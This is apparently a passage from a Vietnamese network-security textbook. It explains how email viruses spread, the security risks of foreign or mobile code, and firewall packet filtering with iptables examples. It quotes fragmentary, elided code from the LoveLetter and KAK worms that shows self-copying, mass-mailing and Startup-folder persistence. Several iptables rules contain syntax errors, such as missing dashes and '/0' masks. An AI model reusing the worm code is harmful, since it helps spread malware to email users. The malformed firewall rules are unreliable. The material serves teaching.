a) Thuật toán tạo mã Huffman
14.4.3. Virus lây nhiễm qua mạng
Trong một khoảng thời gian dài các virus file, virus boot chỉ lây nhiễm trên một máy tính đơn. Đối tượng lây nhiễm cụ thể của virus này thường là các file thi hành, các file có chứa macro… Cùng với sự gia tăng nhu cầu trao đổi thông tin, các hệ điều hành cũng tăng cường các hỗ trợ cho dịch vụ truyền tin.Trên hệ thống trao đổi thư điện tử, các phần mềm đều hỗ trợ gửi theo file(đính kèm) hoặc xem thư nhanh trên cơ sở thực hiện các mã script. Lợi dụng những khả năng này một số chương trình được thiết kế để bám dính theo các thư điện tử(email) mà lan truyền trên mạng.
Kỹ thuật lây nhiễm
Các virus có thể tiến hành phát tán qua mạng, sử dụng các phương pháp lan truyền qua các ổ đĩa mạng hay qua sự phổ biến email. Kỹ thuật lây nhiễm qua các ổ đĩa mạng tương đối đơn giản, các virus sử dụng các kỹ thuật tương tự như virus file. Phần này tập trung phân tích các kỹ thuật lây nhiễm qua thư điện tử.
Kỹ thuật lây nhiễm qua file đính kèm
Hầu hết các ứng dụng có dịch vụ thư điện tử đều hỗ trợ chức năng gắn kèm các file vào như(attach files).Ngoài ra, một số ứng dụng còn hỗ trợ khả năng thi hành các mã script khi mở file đính kèm.
Các khả năng nêu trên đều được các virus sử dụng để lây nhiễm qua mạng. Một file nào đó đã bị nhiễm virus cũng sẽ được gửi theo(mà người gửi không ngờ tới). Đây là một con đường lây nhiễm khá dễ dàng thông qua mạng máy tính. Thông thường, các file văn bản hay được gửi qua mạng để trao đổi thông tin. Vì vậy thông thường ta thấy các virus macro lây nhiễm thông qua file đính kèm.
Trong một hệ gửi, nhận thư điện tử(email) thường hỗ trợ khả năng thi hành các mã script. Như vậy, nếu trong một file đính kèm nào đó, bên cạnh những mã Script thông thường có cả những mã Script của virus thì rõ ràng là khi mở file đính kèm cũng sẽ là thời điểm virus được kích hoạt.
Đoạn mã trích từ virus LoveLetter minh hoạ kỹ thuật tạo file đính kèm:
If(regad=””) then
set male = out.CreateItem(0) male.Recipients.Add(malead) male.subject = ”ILOVEYOU”
male.Body = vbcrlf&”kindly check the attached LOVELETTER….”
male.Attachments.Add(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”) male.Send
Thông thường khi gửi từ một máy nào đó,trong thư đã được cập nhật địa chỉ người gửi là địa chỉ của người chủ sử dụng được lưu trữ trên máy đó. Như vậy, khi người nhận thư xem phần thông tin địa chỉ người gửi cũng sẽ yên tâm, không mấy nghi ngờ, vì có
thể người gửi thư đã có một quan hệ quen biết trước đó. Bên cạnh đó, những chủ để, những tên file đính kèm có thể được đặt sao cho khêu gợi sự tò mò của số đông người sử dụng máy tính. Các bước chính tạo file đính kèm chúa virus:
− Tạo đối tượng đọc ghi file
− Lấy thẻ file đang thi hành
− Copy file vào trong vùng đệm
− Copy virus vào file trong các thư mục
− ……….
− Chèn file này vào thư mục
− …………
Đoạn mã minh hoạ:
Set fso = CreateObject(“Scripting.FileSystemObject”) Set file = fso.OpenTextFile(Wscript.ScriptFullName,1) Vbscopy = file.ReadAll
…………
Set dirsystem = fso.GetSpecialForder(1) Set c = fso.GetFile(Wscript.ScriptFullName)
c.Copy(dirsystem&”LOVE-LETTER-FOR-YOU.TXT.vbs”) ………….
set male = out.CreateItem(0) male.Recipients.Add(malead) male.subject = ”ILOVEYOU”
male.Body = vbcrlf&”kindly check the attached LOVELETTER….”
male.Attachments.Add(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”) male.Send
………….
Kỹ thuật tạo virus chứa trong thư
Trong phần này chúng ta sẽ xem sét kỹ thuật tạo virus sử dụng mã Script ngay trong phần nội dung(body) thư điện tử. Các ứng dụng gửi, nhận thư điện tử thường hỗ trợ hai kiểu như: HTML và Plain Text. Trong kiểu HTML cho phép sử dụng dạng file .HTML, bao gồm cả tính năng thi hành mã Script. Như vậy loại virus này nằm ngay trong thư mà không cần file đính kèm. Kỹ thuật này còn có ưu điểm là các mã Script có thể thi hành ngay khi người dùng xem thư(ngay cả khi chưa mở thư!), nếu không đặt chế độ cảnh báo với các ActiveX.
Do các phần mềm nhận gửi thư có hạn chế một số tính năng thi hành của ActiveX nên các virus không thể kết hợp nhiều thao tác ngay trong lúc người sử dụng
xem thư. Vì vậy, virus có thể tạo ra một file (chứa virus), đặt vào một vị trí nào đó trong máy để nhờ hệ thống kích hoạt, và chỉ khi đó virus mới thực sự hoạt động.
Đoạn mã sau, trích từ chương trình của virus KAK, minh hoạ kỹ thuật tạo file chứa virus và đặt trong thư mục StartUp.
1. Khai báo đối tượng
scr = Scripting.FileSystemObject
<HTML><BODY><DIV style=” POSITION:absolute; RIGHT:0px;TOP:-20px;Z- INDEX:5”><OBJECT classid= clsid:06290BD5-48AA-11D2-8432-006008C3FBFC id=scr></OBJECT></DIV>
2. Tạo file Kak.hta dùng để kích hoạt virus khi khởi động. scr.Reset(); scr.doc=”Thân virus”
3. Xác định đường dẫn để đặt file Kak.hta la=(navigator.systemLanguage)? navigator.systemLanguage:navigator.Language;scr.Path=(la= =”fr”)? C:\\windows\\Menu Domarrer\\Programes\\Domarrage\\kak.hta”:”C\\windows\\StartMenu\\Programs\\Start Up\\kak.hta”; agt=navigator.userAgent.toLowerCase(); if(((agt.indexOf(“msie”)!=- 1)&&(parseInt(navigator.apVersion)>4))||(agt.indexOf(“msie5.”)!=-1))scr.write(); 14.4.4. Mã ngoại lai
Trong các môi trường trao đổi thông tin số, điển hình là Internet, các đoạn mã máy tính, gọi tắt là mã (code) được di cư từ máy này sang máy khác. Những đoạn mã di cư này được biết đến với tên gọi là mobile code, khi được xem xét để thực thi trên máy trạm chúng được coi là các foreign code. Trong tài liệu này chúng ta thống nhất định nghĩa: Foreign code là bất kỳ mã nào không phải sinh ra tại máy trạm nhưng bằng cách này hay cách khác tới được máy trạm và chạy trên đó. Các loại Applets, ActiveX, các file đính kèm với thư điện tử, TclScript, JavaScript, PostScript, Word macros, và Excel macros là các ví dụ cho foreign code. Hình 10.1 mô tả mô hình foreign code tổng quát. LOCAL SYSTEM CONSUMER REMOTE SYSTEM Request for code Code PRODUCER Code is considered as Foreign code
Hình 10.2 Mô hình foreign code
Khi nói về hệ thống kiểm chứng phân tán, Phillip [1] đã đề cập đến khái niệm về nơi tiêu dùng mã (code consumer) và nơi cung cấp mã (code producer). Trong tài liệu này chúng ta sẽ thống nhất dùng khái niệm code consumer như một môi trường cho phép chạy foreign code và nơi cung cấp mã là nơi foreign code được xuất bản. Ví dụ, trong kiến trúc web: Web server được xem xét như code producer. Web browser được xem như code consumer, và applet là foreign code.
Các vấn đề về bảo mật khi thực thi foreign code
Bản chất tự nhiên của foreign code là di trú, foreign code thường đến từ phía bên ngoài hệ thống máy trạm, đi qua nhiều môi trường tính toán khác nhau và thường là từ các môi trường không an toàn chẳng hạn như Internet. Chúng di cư đến máy trạm và thực thi tương tự như một chương trình máy tính thông thường. Việc người dùng không không biết được xuất xứ, tác giả và hành vi của foreign code đã tiềm ẩn nhiều nguy cơ đối với hệ thống máy tính một khi chấp nhận chạy forein code. Dễ dàng hình dung virus máy tính là một loại foreign code độc hại. Xử lý foreign code cũng chính là xử lý virus máy tính.
Để bảo vệ một hệ thống máy tính, trước hết chúng ta cần phải điều khiển việc truy nhập tới hệ thống. Sau đó là điều khiển truy cập bên trong hệ thống với các luật bảo mật [2]. Giải pháp là có cách nào đó giới hạn các truy xuất của foreign code tới các dữ liệu và tài nguyên của hệ thống. Điều chúng ta muốn làm thực sự có liên quan đến điều khiển truy xuất (access control). Chúng ta biết rằng mọi tiến trình muốn thực thi phải nhận được một môi trường nhất định. Ví dụ để thực thi, một tiến trình cần truy xuất bộ nhớ, truy xuất các tài nguyên của hệ thống, vv… Đương nhiên một chương trình không bao giờ thực thi sẽ chẳng bao giờ làm hư hại đến hệ thống. Chương trình càng bị giới hạn truy xuất tới hệ thống thì hệ thống càng ít nguy cơ rủi ro. Do vậy nguyên tắc chung của chúng ta là nghiêm khắc điều khiển việc truy xuất của các chương trình không bảo mật tới hệ thống. Để đạt được điều này chúng ta cần phát triển các luật bảo mật và thực thi các luật này để bảo vệ hệ thống. Theo đó, có rất nhiều mô hình an toàn, bảo mật được đưa ra chẳng hạn Bell-LaPadula, các mô hình khác như Biba, Clack- Wilson dành cho sự toàn vẹn của hệ thống.
Để xử lý foreign code, chúng ta cũng đã được biết tới nhiều mô hình. Trước hết cần giả thiết rằng môi trường thực thi các luật bảo mật là tin cậy (trusted) và tất cả các loại foreign code là không tin cậy (untrusted). Trong thực tế chúng ta xử lý foreign code theo cách đầy mâu thuẫn, một mặt chúng ta muốn thực thi chúng một cách an toàn. Vì vậy sự truy xuất của foreign code tới các dữ liệu và tài nguyên của hệ thống phải bị nghiêm khắc giới hạn. Mặt khác chúng ta lại muốn chúng có nhiều sức mạnh hơn. Do đó, sự truy xuất của foreign code cần được nới rộng. Một vành đai bảo mật tưởng tượng đã được áp đặt lên các hệ thống máy tính. Trong đó mã cục bộ sinh ra tại máy
trạm (local code) được xem xét là tin cậy và foreign code được xem là không tin cậy. Trường hợp lý tưởng nhất có lẽ là foreign code được xử lý như local code. Đây có lẽ là mục đích của hầu hết các giải pháp cho foreign code. Tuy nhiên tin cậy (trust) không có nghĩa là an toàn (safe). Tiếp theo chúng ta sẽ bàn về bốn mô hình bảo mật điển hình để xử lý foreign code.
BÀI 15: FIREWALL 15.1. Khái niệm Firewall
Thuật ngữ Firewall có nguồn gốc từ một kỹ thuật thiết kế trong xây dựng để ngăn chặn, hạn chế hoả hoạn. Trong công nghệ mạng thông tin, Firewall là một kỹ thuật đợc tích hợp vào hệ thống mạng để chống sự truy cập trái phép, nhằm bảo vệ các nguồn thông tin nội bộ và hạn chế sự xâm nhập không mong muốn vào hệ thống. Cũng có thể hiểu Firewall là một cơ chế (mechanism) để bảo vệ mạng tin tởng (Trusted network) khỏi các mạng không tin tởng (Untrusted network).
Thông thờng Firewall đợc đặt giữa mạng bên trong (Intranet) của một công ty, tổ chức, ngành hay một quốc gia, và Internet. Vai trò chính là bảo mật thông tin, ngăn chặn sự truy nhập không mong muốn từ bên ngoài (Internet) và cấm truy nhập từ bên trong (Intranet) tới một số địa chỉ nhất định trên Internet.
15.2. Nguyên lý hoạt động và bảo mật trên Firewall
15.2.1. Chức năng chính
Chức năng chính của Firewall là kiểm soát luồng thông tin từ giữa Intranet và Internet. Thiết lập cơ chế điều khiển dòng thông tin giữa mạng bên trong (Intranet) và mạng Internet. Cụ thể là:
Cho phép hoặc cấm những dịch vụ truy nhập ra ngoài (từ Intranet ra Internet). Cho phép hoặc cấm những dịch vụ phép truy nhập vào trong (từ Internet vào Intranet). Theo dõi luồng dữ liệu mạng giữa Internet và Intranet.
Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập.
Kiểm soát ngời sử dụng và việc truy nhập của ngời sử dụng. Kiểm soát nội dung thông tin thông tin lu chuyển trên mạng. Các thành phần
Firewall chuẩn bao gồm một hay nhiều các thành phần sau đây: Bộ lọc packet (packet-filtering router)
Cổng ứng dụng (application-level gateway hay proxy server) Cổng mạch (circuite level gateway)
Bộ lọc paket (Paket filtering router)
15.2.2. Nguyên lý
Khi nói đến việc lu thông dữ liệu giữa các mạng với nhau thông qua Firewall thì điều đó có nghĩa rằng Firewall hoạt động chặt chẽ với giao thức TCI/IP. Vì giao thức này làm việc theo thuật toán chia nhỏ các dữ liệu nhận đợc từ các ứng dụng trên mạng, hay nói chính xác hơn là các dịch vụ chạy trên các giao thức (Telnet, SMTP, DNS, SMNP, NFS…) thành các gói dữ liệu (data pakets) rồi gán cho các paket này những địa chỉ để có thể nhận dạng, tái lập lại ở đích cần gửi đến, do đó các loại Firewall cũng liên quan rất nhiều đến các packet và những con số địa chỉ của chúng.
Bộ lọc packet cho phép hay từ chối mỗi packet mà nó nhận đợc. Nó kiểm tra toàn bộ đoạn dữ liệu để quyết định xem đoạn dữ liệu đó có thoả mãn một trong số các luật lệ của lọc packet hay không. Các luật lệ lọc packet này là dựa trên các thông tin ở đầu mỗi packet (packet header), dùng để cho phép truyền các packet đó ở trên mạng. Đó là:
Địa chỉ IP nơi xuất phát ( IP Source address) Địa chỉ IP nơi nhận (IP Destination address)
Những thủ tục truyền tin (TCP, UDP, ICMP, IP tunnel) Cổng TCP/UDP nơi xuất phát (TCP/UDP source port) Cổng TCP/UDP nơi nhận (TCP/UDP destination port) Dạng thông báo ICMP ( ICMP message type)
Giao diện packet đến ( incomming interface of packet) Giao diện packet đi ( outcomming interface of packet)
Nếu luật lệ lọc packet đợc thoả mãn thì packet đợc chuyển qua firewall. Nếu không packet sẽ bị bỏ đi. Nhờ vậy mà Firewall có thể ngăn cản đợc các kết nối vào các máy chủ hoặc mạng nào đó đợc xác định, hoặc khoá việc truy cập vào hệ thống mạng nội bộ từ những địa chỉ không cho phép. Hơn nữa, việc kiểm soát các cổng làm cho Firewall có khả năng chỉ cho phép một số loại kết nối nhất định vào các loại máy chủ nào đó, hoặc chỉ có những dịch vụ nào đó (Telnet, SMTP, FTP…) đợc phép mới chạy đợc trên hệ thống mạng cục bộ.
15.3. Các luật lọc packet trên Firewall
/sbin/iptables -A FORWARD -i interface -p protocol -s sourceip --sport -o interface -d destip --dport -j ACCEPT/DROP
Ý nghĩa của các tham số như sau:
FORWARD: Cho phép các packet có thể chuyển qua Firewall (Có thể thay bàng Input hay Output: cho phép các packet đi vào và đi ra)
i interface: Chỉ định card giao tiếp mạng nhận packet
-o interface: Chỉ định card giao tiếp mạng chuyển packet ra ngoài
-p protocol: Mô tả các giao thức bao gồm kết hợp với luật: (icmp, tcp, udp, ...)
-s sourceip: Chỉ định địa chỉ IP nguồn
-d destip: Chỉ định địa chỉ IP đích
--sport: Chỉ định cổng nguồn cho packet đi vào
--dport: Chỉ định cổng đích cho packet đi ra
-j : Giúp bạn thực hiện điều đó như: ACCEPT, DENY hay DROP
+ Tại máy 192.168.1.2 Cho phép SMTP và Web Server
1. Cho phép các gói tin từ bên ngoài đến IP đích là 192.168.1.2 và cổng đích là 25 (dịch vụ SMTP) đi qua eth0 (đáp ứng dịch vụ SMTP)
/sbin/iptables -A FORWARD -i eth0 -p tcp -s 0.0.0.0/0 sport 0 -d 192.168.1.2/0 –dport 25 -j ACCEPT
2. Cho phép các gói tin từ IP nguồn là 192.168.1.2 và cổng nguồn là 25 đi ra qua eth1 tới mạng bên ngoài (hay SMTP gửi trả lại kết quả)
/sbin/iptables -A FORWARD -i eth1 -p tcp -s 192.168.1.2/0 sport 25 -d 0.0.0.0/0 –dport 0 -j ACCEPT
3. Cho phép các gói tin từ bên ngoài đến IP đích là 192.168.1.2 và cổng đích là 80 (dịch vụ Web) đi vào qua eth0 (đáp ứng dịch vụ Web Server)
/sbin/iptables -A FORWARD -i eth0 -p tcp -s 0.0.0.0/0 sport 0:65535 -d 192.168.1.2/0 –dport 80 -j ACCEPT
4. Cho phép các gói tin từ IP nguồn là 192.168.1.2 và cổng nguồn là 80 đi ra qua eth1 (cho phép Web Server response lại kết quả)
/sbin/iptables -A FORWARD -i eth1 -p tcp -s 192.168.1.2/0 sport 80 -d 0.0.0.0/0 –dport 0:65535 -j ACCEPT
+ Tại máy 192.168.1.1 Cho phép Web Server và FPT Proxy
1. Cho phép các gói tin đi từ máy 192.168.1.1 với bất kỳ cổng nào từ 0 đến 65535 (dịch vụ Web HTTP) đi ra ngoài qua eth1 có cổng đích là 80 (Web proxy response yêu cầu dịch vụ từ bên ngoài)
/sbin/iptables -A FORWARD -i eth1 -p tcp -s 192.168.1.1/0 sport 0:65535 -d 0.0.0.0/0 –dport 80 -j ACCEPT
2. Cho phép các gói tin đi từ cổng nguồn là 80 đi vào máy 192.168.1.1 với bất kỳ cổng nào từ 0 đến 65535 qua eth0 (cho phép thông tin request từ Web proxy)
/sbin/iptables -A FORWARD -i eth0 -p tcp -s 0.0.0.0/0 sport 80 -d 192.168.1.1/0 –dport 0:65535 -j ACCEPT
3. Cho phép gói tin từ máy 192.168.1.1 với bất kỳ cổng nào từ 0 đến 65535 đi ra ngoài qua eth1 có cổng đích là 21 (cho phép dịch vụ FTP)
/sbin/iptables -A FORWARD -i eth1 -p tcp -s 192.168.1.1/0 sport 0:65535 -d 0.0.0.0/0 –dport 21 -j ACCEPT
4. Cho phép gói tin có cổng nguồn là 21 đi vào máy 192.168.1.1 với bất kỳ cổng nào từ 0 đến 65535 qua eth0 (cho phép thông tin trả về FTP proxy)
/sbin/iptables -A FORWARD -i eth0 -p tcp -s 0.0.0.0/0 sport 21 -d 192.168.1.1/0 –dport 0:65535 -j ACCEPT
+ Loại bỏ hết các gói tin còn lại